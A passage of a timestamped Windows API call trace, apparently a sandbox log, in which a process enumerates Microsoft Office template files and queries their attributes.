	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="MEDIA~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="MSGBOX~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="TABS~1.ACC")) returned 1
	[0053.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1
	[0053.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 1
	[0053.484] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.484] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848918 | out: lpFileInformation=0x12848918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda)) returned 1
	[0053.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848968 | out: lpFileInformation=0x12848968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005)) returned 1
	[0053.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x128489b8 | out: lpFileInformation=0x128489b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306)) returned 1
	[0053.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848a08 | out: lpFileInformation=0x12848a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce)) returned 1
	[0053.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848a58 | out: lpFileInformation=0x12848a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87)) returned 1
	[0053.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848aa8 | out: lpFileInformation=0x12848aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444)) returned 1
	[0053.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848af8 | out: lpFileInformation=0x12848af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d)) returned 1
	[0053.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848b48 | out: lpFileInformation=0x12848b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9)) returned 1
	[0053.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848b98 | out: lpFileInformation=0x12848b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660)) returned 1
	[0053.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848be8 | out: lpFileInformation=0x12848be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072)) returned 1
	[0053.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848c38 | out: lpFileInformation=0x12848c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2)) returned 1
	[0053.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848c88 | out: lpFileInformation=0x12848c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465)) returned 1
	[0053.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848cd8 | out: lpFileInformation=0x12848cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3)) returned 1
	[0053.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848d28 | out: lpFileInformation=0x12848d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315)) returned 1
	[0053.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848d78 | out: lpFileInformation=0x12848d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8)) returned 1
	[0053.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848dc8 | out: lpFileInformation=0x12848dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78)) returned 1
	[0053.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848e18 | out: lpFileInformation=0x12848e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196)) returned 1
	[0053.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848e68 | out: lpFileInformation=0x12848e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017)) returned 1
	[0053.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848eb8 | out: lpFileInformation=0x12848eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69)) returned 1
	[0053.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), fInfoLevelId=0x0, lpFileInformation=0x12848f08 | out: lpFileInformation=0x12848f08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1
	[0053.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="1100~1.ACC")) returned 1
	[0053.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.491] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848ff8 | out: lpFileInformation=0x12848ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5)) returned 1
	[0053.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12849048 | out: lpFileInformation=0x12849048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad)) returned 1
	[0053.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849098 | out: lpFileInformation=0x12849098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7)) returned 1
	[0053.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128490e8 | out: lpFileInformation=0x128490e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26)) returned 1
	[0053.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849138 | out: lpFileInformation=0x12849138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8)) returned 1
	[0053.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849188 | out: lpFileInformation=0x12849188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7)) returned 1
	[0053.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128491d8 | out: lpFileInformation=0x128491d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849228 | out: lpFileInformation=0x12849228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849278 | out: lpFileInformation=0x12849278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128492c8 | out: lpFileInformation=0x128492c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879)) returned 1
